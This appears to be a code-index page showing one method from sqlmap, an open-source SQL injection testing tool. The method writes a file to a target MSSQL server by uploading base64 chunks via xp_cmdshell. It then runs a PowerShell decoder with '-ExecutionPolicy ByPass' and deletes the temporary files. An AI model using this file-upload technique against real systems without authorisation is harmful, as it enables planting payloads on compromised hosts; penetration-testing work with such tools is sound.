MCPcopy Index your code
hub / github.com/sqlmapproject/sqlmap / _stackedWriteFilePS

Method _stackedWriteFilePS

plugins/dbms/mssqlserver/filesystem.py:172–209  ·  view source on GitHub ↗
(self, tmpPath, localFileContent, remoteFile, fileType)

Source from the content-addressed store, hash-verified

170 raise SqlmapUnsupportedFeatureException(errMsg)
171
172 def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType):
173 infoMsg = "using PowerShell to write the %s file content " % fileType
174 infoMsg += "to file '%s'" % remoteFile
175 logger.info(infoMsg)
176
177 encodedFileContent = encodeBase64(localFileContent, binary=False)
178 encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
179 encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
180
181 randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
182 randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
183
184 localFileSize = len(encodedFileContent)
185 chunkMaxSize = 1024
186
187 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)
188
189 for i in xrange(0, localFileSize, chunkMaxSize):
190 wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
191 self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
192
193 psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
194 psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
195 psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
196 psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile
197
198 logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)
199 self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)
200
201 logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile)
202
203 commands = (
204 "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
205 "del /F /Q \"%s\"" % encodedBase64FilePath,
206 "del /F /Q \"%s\"" % randPSScriptPath
207 )
208
209 self.execCmd(" & ".join(command for command in commands))
210
211 def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
212 infoMsg = "using debug.exe to write the %s " % fileType

Callers 1

stackedWriteFileMethod · 0.95

Calls 7

encodeBase64Function · 0.90
randomStrFunction · 0.90
xrangeClass · 0.85
infoMethod · 0.80
debugMethod · 0.80
xpCmdshellWriteFileMethod · 0.80
execCmdMethod · 0.80

Tested by

no test coverage detected